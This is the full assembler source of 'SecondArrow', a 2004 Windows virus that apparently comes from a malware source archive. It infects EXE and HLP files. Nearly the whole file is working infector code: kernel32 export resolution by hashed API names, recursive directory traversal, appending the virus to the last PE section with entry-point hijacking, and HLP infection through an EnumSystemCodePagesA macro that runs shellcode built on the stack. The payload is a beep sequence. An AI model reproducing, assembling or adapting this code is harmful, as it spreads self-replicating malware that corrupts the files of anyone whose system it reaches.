MalwareSourceCode/Win32/Infector/Win32.SecondArrow.asm
2020-10-16 23:26:21 +02:00

588 lines
15 KiB
NASM

;
; SecondArrow by BlueOwl
;
; HLP/EXE (Cross)-Infector
;
; Disclaimer
;
; This is the assembler source of a VIRUS. Me, the author
; cannot be held responsible for any problems caused by
; the compiled program. Please do not assemble it if you do
; not know what you are doing.
;
; Description
;
; Exes and hlps have always been in a nice kind of circulation,
; and this is exactly what this virus exploits, infecting both.
; It infects up to 3 files per run and only randomly activates
; its payload when no file was infected. I liked doing something
; like this because i thought it was fun combining to techniques
; of infection into one.
;
; About hlps
;
; Hlps are a little bit harder to infect than exefiles (when dealing
; with the bare minimum infection), and infecting hlps is relatively
; onnused comparing to the thousands of exeinfectors around this globe.
; However, it is quite possible to do so and it can work under any
; windows platform with most versions of winhlp.exe.
;
; Hlp file infection just exploits the very simple fact that you can
; use any windows function in hlps. So for example you could use
; MessageBoxA(0,"Hello","Dear reader",0); and when the hlpfile loads
; it will display this string. Now the thing that can be exploited
; here is that one could also pass something like EnumWindows("[string]"
; , 0); to it and the "[string]" would be executed because this is
; an ENUMERATE function (windows calls the first argument). And
; this string can also be the virus code. There is however one problem:
; the virus must be a string and thus can't be executed if any
; zero's are present in the string. This is solved in hlp virusses by
; writing/pusing the entire virus body onto stack and executing it there.
;
; Payload
;
; Make a scary sound. ;)
;
; Assemble with fasm (version 1.50/1.52 should work fine at least)
; get it from http://www.flatassembler.net
format PE GUI 4.0
include '%fasminc%\win32a.inc' ; fasm assembles this FLAT with read/write/execute attributes
; .equates
GENERIC_READWRITE equ 0C0000000h
find_data equ (_fd-4)
hfind equ (_hf-4)
virus_size equ ((virus_enda-virus_start)/4+1)*4 ; aligned to a dword (required when being in stack)
virus_end equ (virus_start+virus_size) ; otherwise the virus will start with a few zeros
OldEip equ (oep-4)
macro wcall proc,[arg] ; wcall procedure (indirect)
{ common ; a macro for calling windows apis ;)
if ~ arg eq
stdcall [ebp+proc-delta],arg
else
call [ebp+proc-delta]
end if }
; .startup
mov dword [OldEip], exit
; .code
virus_start: push 012345678h ; only used when an exe was infected
oep: pushad ; save regs
cld ; clear direction flag
decrypt_from: call set_seh_handler
mov esp, [esp+8] ; restore seh
jmp error_occurred
db "..SecondArrow.."
set_seh_handler:sub eax, eax
fs push dword [eax]
fs mov [eax], esp ; setup self exeption handling
exehlpa: stc ; this is a clc when we are a hlp
jc exe_start
mov edi, [esp+virus_size+44] ; esi = return address (in kernel32)
jmp in_find_k32
exe_start: mov edi, [esp+44] ; edi = somewhere in k32
jmp in_find_k32
find_k32: dec edi ; what do you think of this routine ;)
in_find_k32: sub di, di ; align
cmp word [edi], "MZ"
jnz find_k32 ; edi = base of kernel32
call load_delta
delta: dd 0c3941b3eh ; data is carried close to delta so
CreateFile dd ? ; this way most references are small
dd 092d23c21h
ReadFile dd ?
dd 0b9b3edbfh
SetFilePointer dd ?
dd 0d43240b9h
WriteFile dd ?
dd 08a425b5dh
CloseHandle dd ?
dd 0bda885d4h
FindFirstFile dd ?
dd 06c38b20bh
FindNextFile dd ?
dd 0a050a531h
FindClose dd ?
dd 0c6c1b075h
GlobalAlloc dd ?
dd 0c4617123h
GlobalLock dd ?
dd 05837bb59h
GlobalUnlock dd ?
dd 0b8925923h
GlobalFree dd ?
dd 0642682e4h
SetCurrentDirectory dd ?
dd 08a844000h
Beep dd ? ; for the payload
dd 030e656feh
GetTickCount dd ? ; ditto
dd 0
infection_count db 0
hmem dd "Spac"
hfile dd "e fo"
hfmem dd "r re"
hfstart dd "nt $"
nbr dd "5 ! "
all_mask db "*.*",0 ; seach for whatever
macrostart db 4,0,_mse-_ms,0
_ms db 'RR("KERNEL32","EnumSystemCodePagesA","SU")',0 ; a macro with callback features
_mse: db 4,0
macro_size dw ?
enumw db 'EnumSystemCodePagesA("'
xchg edi, esp ; edi = esp
std ; decrementing pointer
dec edi ; otherwise the last byte would get overwritten
endmacrostart:
startmacrosize equ (endmacrostart-macrostart)
macroend: xchg edi, esp ; esp = edi
inc esp ; actual entry
push esp
ret ; jump to esp
db '",0)',0
endmacroend:
endmacrosize equ (endmacroend-macroend)
load_delta: pop ebp ; ebp = delta handle
mov esi, ebp
lodsd
get_funcs: xchg ebx, eax
push esi
push ebp
mov ebp, [edi+60]
add ebp, edi ; ebp = ptr to peheader
mov ebp, [ebp+120]
add ebp, edi ; ebp = ptr to export table
mov edx, [ebp+36]
add edx, edi ; edx = ptr to function ordinals
mov esi, [ebp+32]
add esi, edi ; esi = ptr to ptrs of function names
mov ecx, [ebp+20] ; ecx = number of exported functions
find_function: push esi
push edx
sub eax, eax
cdq ; edx=eax=0
mov esi, [esi]
add esi, edi ; esi = ptr to function name
make_checksum: lodsb
add edx, eax
rol edx, 5
or eax, eax
jnz make_checksum ; edx = checksum
cmp edx, ebx ; compare with needed
pop edx
pop esi
jz ff_ok
add esi, 4 ; next namepointer
inc edx
inc edx ; next ordinal
loop find_function
jmp function_notfound ; exit with eax = 0
ff_ok: mov esi, [ebp+28]
add esi, edi ; esi = ptr to function addresses
movzx ecx, word [edx] ; ecx = function number
inc ecx ; ecx ++
rep lodsd
add eax, edi ; eax = function address
function_notfound:
pop ebp
pop esi
mov [esi], eax
or eax, eax ; function could not be found?
je error_occurred
lodsd
lodsd
or eax, eax
jnz get_funcs ; load all functions
mov byte [ebp+infection_count-delta], 3 ; better not more then 3 ;)
wcall GlobalAlloc,GMEM_MOVEABLE,314
or eax, eax
jz error_occurred
mov [ebp+find_data-delta], eax
wcall GlobalLock,eax
mov [ebp+hmem-delta], eax
call infect_files
cmp byte [ebp+infection_count-delta], 3 ; nothing infected?
jnz close_mem
wcall GetTickCount ; Get a "random" number
cmp al, 44h ; so this occurs one in about 256 times
jnz close_mem
; payload
push 37 ; make a scary sound payload :)
pop esi
sub edi, edi
countup: add esi, edi
wcall Beep,esi,40
inc esi
test esi, 7
jnz nok
inc edi
nok: cmp esi, 1500
jb countup
close_mem: mov esi, 012345678h
_fd: wcall GlobalUnlock,esi
wcall GlobalFree,esi
error_occurred: sub eax, eax
fs pop dword [eax]
pop ebx
exehlpb: stc
popad
jc exit_exe
add esp, virus_size+4 ; fix stack
sub eax, eax ; return false
ret 4
exit_exe: ret
; ///////////////////////////////////////////////////////////////////////////
infect_files: lea eax, [ebp+all_mask-delta] ; seach for anything
wcall FindFirstFile,eax,[ebp+hmem-delta]
mov [ebp+hfind-delta], eax ; save findhandle
inc eax
jz no_file_found ; close memory on error
try_next_file: cmp byte [ebp+infection_count-delta], 0
jz no_file_found ; close search
mov edi, [ebp+hmem-delta]
mov eax, [edi+32] ; eax = size of file
and al, 15
cmp al, 15 ; check for infection padding
jz already_infected
call set_infection_seh
mov esp, [esp+8]
jmp restore_seh
set_infection_seh:
sub eax, eax
fs push dword [eax]
fs mov [eax], esp
; open and read file
lea ebx, [edi+44d]
mov esi, ebx ; esi = start of filename
find_end: lodsb
or al, al
jnz find_end ; esi = ptr to end of file name
mov eax, [esi-5] ; eax = file extension
or eax, 020202020h ; to lowercase
cmp eax, ".exe"
je ext_ok
cmp eax, ".hlp"
jne not_infectable
ext_ok:
sub eax, eax
wcall CreateFile,ebx,GENERIC_READWRITE,eax,eax,3,128,eax ; open the file
mov [ebp+hfile-delta], eax
inc eax
jz cant_open_file
mov eax, dword [edi+32d]
add eax, virus_size*3+4000h ; add some extra space
wcall GlobalAlloc,GMEM_MOVEABLE,eax ; Get some space
or eax, eax
jz close_file
mov [ebp+hfmem-delta], eax
wcall GlobalLock,eax ; Lock it (required for some windowsversions)
or eax, eax
jz close_fmem
mov [ebp+hfstart-delta], eax
push eax
lea ebx, [ebp+nbr-delta]
wcall ReadFile,[ebp+hfile-delta],eax,[edi+32d],ebx,0 ; Load file into memory
or eax, eax
jz close_lock
pop edx
mov edi, edx ; save start to edi too
push edx
lea eax, [ebp+exehlpa-delta]
lea ecx, [ebp+exehlpb-delta]
push dword [ecx]
push ecx
mov ebx, [esi-5]
or ebx, 020202020h
cmp ebx, ".exe"
je is_exe
mov byte [eax], 0f8h
mov byte [ecx], 0f8h ; hlp marker (clc)
call infect_hlpfile
jmp infect_done
is_exe: mov byte [eax], 0f9h ; exe marker (stc)
mov byte [ecx], 0f9h
call infect_exefile
infect_done: pop eax
pop dword [eax]
pop edx
jc close_lock ; carry flag is on if error happened
dec byte [ebp+infection_count-delta] ; take on off the infection counter
sub edi, edx ; edi = size of file
push edi
wcall SetFilePointer,[ebp+hfile-delta],0,0,FILE_BEGIN
pop ecx
or cl, 15 ; infection sign
lea eax, [ebp+nbr-delta]
wcall WriteFile,[ebp+hfile-delta],[ebp+hfstart-delta],ecx,eax,0
close_lock: wcall GlobalUnlock,[ebp+hfmem-delta]
close_fmem: wcall GlobalFree,[ebp+hfmem-delta]
close_file: wcall CloseHandle,[ebp+hfile-delta]
cant_open_file:
jmp restore_seh
not_infectable: cmp dword [edi], FILE_ATTRIBUTE_DIRECTORY ; is this a directory?
jnz restore_seh
lea eax, [edi+44]
cmp byte [eax], "." ; is a root?
jz restore_seh
wcall SetCurrentDirectory,eax ; set it as dir
push dword [ebp+hfind-delta]
call infect_files ; recursive call
pop dword [ebp+hfind-delta]
call dot_dot
db "..",0
dot_dot: wcall SetCurrentDirectory ; return to this dir
restore_seh: sub eax, eax
fs pop dword [eax]
pop eax
already_infected:
push [ebp+hmem-delta]
push 012345678h
_hf: call [ebp+FindNextFile-delta]
or eax, eax
jnz try_next_file
no_file_found:
wcall FindClose,[ebp+hfind-delta]
ret
; ----------------------------------------------------------------------------------------
; both routines
; on entry: edi = edx = start of file
;
; on exit: carry on: error happened
; carry off: infection successfull
; i tried to make the smallest possible routine for this
; all is old school and should be easily understandable
; reading the comments ;)
infect_exefile: cmp word [edx], "MZ" ; "MZ" present?
jnz no_good_exe
add edx, [edx+60]
cmp word [edx], "PE" ; "PE" present?
jnz no_good_exe
mov esi, edx ; esi = peheader
add esi, 120 ; esi = dirheader
mov eax, [edx+116] ; eax = number of dir entries
shl eax, 3 ; eax = eax*8
add esi, eax ; esi = first section header
movzx eax, word [edx+6] ; eax = number of sections
dec eax ; eax = eax-1
imul eax,eax,40
add esi, eax ; esi = ptr to last section header
or byte [esi+39], 0F0h ; give section necessary rights
mov ecx, virus_size ; ecx = size of virus
mov ebx, [esi+16] ; ebx = physical size of section
add [esi+16], ecx ; increase section physical size
add [esi+8], ecx ; increase section virtual size
push dword [esi+8] ; push section virtual size
pop dword [edx+80] ; imagesize = section virtual size
mov eax, [esi+12] ; eax = section rva
add [edx+80], eax ; add it to the imagesize
add edi, [esi+20] ; edi = section offset
add edi, ebx ; edi = end of section
add eax, ebx ; eax = rva of virus
xchg [edx+40], eax ; swap it with old entrypoint
add eax, [edx+52] ; add imagebase to it
mov [ebp+OldEip-delta], eax ; save it
lea esi, [ebp+virus_start-delta] ; esi = virus start
rep movsb ; edi = ptr to end of file
clc ; indicate sucess
ret
no_good_exe: stc ; indicate error
ret
; HLP Infection routine, see upper comments
; and comments below to see how it works
;
; .The source of HLP.AYUDA (29a#5) was very helpfull when
; .i got lost a little! Thankyou Bumblebee.
;
; Here is a little "diagram" about how we touch this stuff.
; Note: if you don't know, rb [num] means [num] bytes
; dots mean and undefined number of data
;
; -------- HLP FILE -------
;
; Magic dd 00035f3fh
; DirStart dd offset main_directory
; NotDir dd ?
; filesize dd official filesize
; .
; .
; .
; main_directory:
; String rb 9
; Magic dw 293bh
; Data rb 28
; Kind dw ?
; .
; .
; .
; String "|SYSTEM"
; System dd offset to system_directory
; .
; .
; system_directory:
; data rb ? (here is the old system directory)
; .
; .
; .
; eof_file:
; (here the old system_directory + our stuff comes)
;
; ----------------------------
infect_hlpfile: cmp dword [edi], 00035f3fh ; check for magic value
jnz no_good_hlp
mov esi, [edi+12] ; esi = filesize
add edi, [edi+4] ; edi = ptr to hlpfileheader
cmp word [edi+9], 293bh ; check for magic here
jnz no_good_hlp
cmp word [edi+39], 1 ; check if the data is not indexed
jnz no_good_hlp
mov ecx, 565 ; set scan range
find_system: inc edi
cmp dword [edi], "|SYS" ; find |SYSTEM, ignoring all between
jz system_found
loop find_system
jmp no_good_hlp
system_found: xchg esi, [edi+8] ; swap it with ptr to system dir
add esi, edx ; get system dir
cmp word [esi+9], 036ch ; check if system dir
jnz no_good_hlp
mov ecx, [esi] ; size of system dir
mov edi,edx
add edi,[edx+12] ; edi = ptr to end of file
push edi ; save start
rep movsb ; copy old system directory
push edi
lea esi, [ebp+macrostart-delta] ; copy start of new macro
mov ecx, startmacrosize
rep movsb
lea esi, [ebp+virus_end-delta]
mov ecx, virus_size
; The whole virus will be translated into
; "mov al, virus_byte[x]; stosb" 's, if
; the character is a zero a "sub al, al;
; stosb" is used instead. Furthermore
; other "special" chars are "\"d.
loop_generate: mov al, 0B0h ; mov al, ..
dec esi
mov ah, byte [esi]
cmp ah, 22h ; '"'
je fix_it
cmp ah, 27h ; '''
je fix_it
cmp ah, 5ch ; '\'
je fix_it
cmp ah, 60h ; '''
je fix_it
or ah, ah ; 0
jnz no_fix
mov ax, 0C028h ; sub al, al
jmp no_fix
fix_it: stosb
mov al, '\'
no_fix: stosw
mov al, 0AAh ; stosb
stosb
loop loop_generate
lea esi, [ebp+macroend-delta]
mov cl, endmacrosize
rep movsb
pop esi ; get start of new sysdir
pop ebx
mov ecx, edi ; ecx = edi
sub ecx, esi ; ecx = size of new sysdir
sub ecx, (enumw-macrostart)
mov word [esi+macro_size-macrostart], cx
mov ecx, edi
sub edi, ebx ; edi = system size
mov [ebx], edi
add [edx+12], edi
sub edi, 9
mov [ebx+4], edi
xchg ecx, edi ; edi = end of file
clc ; indicate success
ret
no_good_hlp: stc ; failure
ret
; i hope you understood this stuff!
db "My way into history!",13,10
db "BlueOwl June/2004"
virus_enda:
padding dd 0
exit: ret
; BlueOwl June/2004 ;)